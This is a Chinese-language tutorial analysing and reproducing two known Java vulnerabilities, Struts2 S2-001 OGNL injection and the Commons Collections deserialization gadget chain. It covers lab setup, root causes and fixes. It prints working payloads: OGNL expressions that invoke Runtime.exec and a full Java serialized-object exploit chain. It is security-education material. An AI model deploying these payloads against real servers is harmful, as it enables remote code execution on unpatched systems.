Java-Web之s2-001与CommonsCollections
字数 2066 2025-08-15 21:32:05

Java Web安全漏洞分析与复现:S2-001与Commons Collections

目录

  1. Struts2 S2-001漏洞分析

  2. Apache Commons Collections反序列化漏洞

  3. 总结与参考

Struts2 S2-001漏洞分析

环境配置

所需组件:

  • JDK 1.8(推荐版本,高低版本可能不兼容)
  • Tomcat(任意版本,本文使用7.0.105)
  • IntelliJ IDEA(推荐)
  • Struts2漏洞环境(可使用vulhub中的war包)

配置步骤:

  1. Tomcat配置:

    • 下载对应版本Tomcat
    • 启动命令(Mac/Linux):
      chmod +x *.sh
      ./startup.sh
      
    • 关闭命令:
      ./shutdown.sh
      
  2. IDEA配置Tomcat:

    • 在Preferences > Application Servers中添加Tomcat
    • 选择Tomcat根目录作为Tomcat Home路径
  3. Struts2项目部署:

    • 将war包放入Tomcat的webapps目录
    • 或解压war包后用IDEA打开项目
    • 添加项目依赖库(lib目录下的jar包)

漏洞原理

S2-001漏洞是由于Struts2在处理表单验证失败时,会将用户提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到表单数据中。攻击者可以构造恶意的OGNL表达式实现远程代码执行。

关键点:

  • 漏洞触发条件:表单验证失败
  • 漏洞位置:对用户输入进行OGNL表达式解析
  • 影响版本:Struts 2.0.0 - 2.0.8

漏洞分析

关键代码分析:

TextParseUtil.translateVariables方法是漏洞的核心:

public static Object translateVariables(char open, String expression, 
    ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
    
    Object result = expression;
    while (true) {
        int start = expression.indexOf(open + "{");
        // 查找匹配的闭合括号
        int end = findMatchingEnd(expression, start);
        
        if (start != -1 && end != -1) {
            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            // 递归解析表达式
            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            result = left + o + right;
            expression = left + o + right;
        } else {
            break;
        }
    }
    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

漏洞触发流程:

  1. 用户提交包含OGNL表达式的表单数据(如%{1+1}
  2. 服务器验证失败后,将用户输入通过translateVariables方法处理
  3. 方法递归解析OGNL表达式,执行其中的代码
  4. 解析结果返回给用户,实现代码执行

利用方法

基本POC:

%{1+1}  // 返回2

获取系统属性:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// 返回示例:tomcatBinDir{/Users/user/apache-tomcat-7.0.105/bin}

命令执行:

%{@java.lang.Runtime@getRuntime().exec("calc")}

Apache Commons Collections反序列化漏洞

环境配置

所需环境:

  • JDK 1.8u66或更低版本(8u71后修复)
  • Apache Commons Collections 3.1-3.2.1
  • ysoserial工具(用于生成payload)

配置步骤:

  1. 从GitHub克隆ysoserial项目
  2. 使用IDEA打开项目,导入Maven依赖
  3. 下载源码(右键pom.xml > Download Sources)

漏洞原理

该漏洞利用Apache Commons Collections库中的Transformer链,通过Java反序列化机制实现远程代码执行。攻击者可以构造特殊的序列化数据,当应用反序列化这些数据时,会执行攻击者预设的命令。

关键点:

  • 漏洞核心:Transformer接口的链式调用
  • 影响组件:使用Apache Commons Collections并存在反序列化入口的应用
  • 修复版本:Commons Collections 3.2.2+

漏洞分析

Gadget链分析:

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
              Method.invoke()
                Class.getMethod()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.getRuntime()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.exec()

关键类分析:

  1. ChainedTransformer:
public Object transform(Object object) {
    for (int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}
  • 实现Transformer链式调用
  • 将上一个Transformer的结果作为下一个的输入
  1. ConstantTransformer:
public Object transform(Object input) {
    return iConstant; // 直接返回构造时传入的对象
}
  1. InvokerTransformer:
public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
}
  • 通过反射调用任意方法
  • 是实现命令执行的关键
  1. LazyMap:
public Object get(Object key) {
    if (!map.containsKey(key)) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}
  • 在get方法中调用Transformer.transform()
  • 将前面的Transformer链连接起来
  1. AnnotationInvocationHandler:
private void readObject(ObjectInputStream in) {
    // 反序列化时触发
    for (Map.Entry<String, Object> entry : memberValues.entrySet()) {
        // 会调用entrySet()进而触发代理的invoke方法
    }
}

利用方法

完整Payload构造:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);

// 通过反射创建AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, lazyMap);

// 创建代理Map
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler
);

// 再次包装
handler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

// 反序列化触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

简化版反射调用(非序列化):

Class clazz = Class.forName("java.lang.Runtime");
Constructor c = clazz.getDeclaredConstructor();
c.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(c.newInstance(), "calc");

总结与参考

关键点总结

  1. S2-001:

    • OGNL表达式递归解析导致代码执行
    • 需要表单验证失败场景
    • 修复方法:升级Struts2版本
  2. Commons Collections:

    • Transformer链的反射调用
    • 反序列化入口触发
    • 修复方法:升级Commons Collections版本或使用安全版本

参考资源

  1. Struts2漏洞分析:

    • http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
  2. Java反序列化:

    • P神Java安全漫谈系列
    • https://xz.aliyun.com/t/7915
  3. 实验环境:

    • Java反序列漏洞实验:https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001
  4. 工具:

    • ysoserial:https://github.com/frohoff/ysoserial
    • vulhub:https://github.com/vulhub/vulhub
Java Web安全漏洞分析与复现:S2-001与Commons Collections 目录 Struts2 S2-001漏洞分析 环境配置 漏洞原理 漏洞分析 利用方法 Apache Commons Collections反序列化漏洞 环境配置 漏洞原理 漏洞分析 利用方法 总结与参考 Struts2 S2-001漏洞分析 环境配置 所需组件: JDK 1.8(推荐版本,高低版本可能不兼容) Tomcat(任意版本,本文使用7.0.105) IntelliJ IDEA(推荐) Struts2漏洞环境(可使用vulhub中的war包) 配置步骤: Tomcat配置: 下载对应版本Tomcat 启动命令(Mac/Linux): 关闭命令: IDEA配置Tomcat: 在Preferences > Application Servers中添加Tomcat 选择Tomcat根目录作为Tomcat Home路径 Struts2项目部署: 将war包放入Tomcat的webapps目录 或解压war包后用IDEA打开项目 添加项目依赖库(lib目录下的jar包) 漏洞原理 S2-001漏洞是由于Struts2在处理表单验证失败时,会将用户提交的参数值使用OGNL表达式 %{value} 进行解析,然后重新填充到表单数据中。攻击者可以构造恶意的OGNL表达式实现远程代码执行。 关键点: 漏洞触发条件:表单验证失败 漏洞位置:对用户输入进行OGNL表达式解析 影响版本:Struts 2.0.0 - 2.0.8 漏洞分析 关键代码分析: TextParseUtil.translateVariables 方法是漏洞的核心: 漏洞触发流程: 用户提交包含OGNL表达式的表单数据(如 %{1+1} ) 服务器验证失败后,将用户输入通过 translateVariables 方法处理 方法递归解析OGNL表达式,执行其中的代码 解析结果返回给用户,实现代码执行 利用方法 基本POC: 获取系统属性: 命令执行: Apache Commons Collections反序列化漏洞 环境配置 所需环境: JDK 1.8u66或更低版本(8u71后修复) Apache Commons Collections 3.1-3.2.1 ysoserial工具(用于生成payload) 配置步骤: 从GitHub克隆ysoserial项目 使用IDEA打开项目,导入Maven依赖 下载源码(右键pom.xml > Download Sources) 漏洞原理 该漏洞利用Apache Commons Collections库中的Transformer链,通过Java反序列化机制实现远程代码执行。攻击者可以构造特殊的序列化数据,当应用反序列化这些数据时,会执行攻击者预设的命令。 关键点: 漏洞核心:Transformer接口的链式调用 影响组件:使用Apache Commons Collections并存在反序列化入口的应用 修复版本:Commons Collections 3.2.2+ 漏洞分析 Gadget链分析: 关键类分析: ChainedTransformer: 实现Transformer链式调用 将上一个Transformer的结果作为下一个的输入 ConstantTransformer: InvokerTransformer: 通过反射调用任意方法 是实现命令执行的关键 LazyMap: 在get方法中调用Transformer.transform() 将前面的Transformer链连接起来 AnnotationInvocationHandler: 利用方法 完整Payload构造: 简化版反射调用(非序列化): 总结与参考 关键点总结 S2-001: OGNL表达式递归解析导致代码执行 需要表单验证失败场景 修复方法:升级Struts2版本 Commons Collections: Transformer链的反射调用 反序列化入口触发 修复方法:升级Commons Collections版本或使用安全版本 参考资源 Struts2漏洞分析: http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html Java反序列化: P神Java安全漫谈系列 https://xz.aliyun.com/t/7915 实验环境: Java反序列漏洞实验:https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001 工具: ysoserial:https://github.com/frohoff/ysoserial vulhub:https://github.com/vulhub/vulhub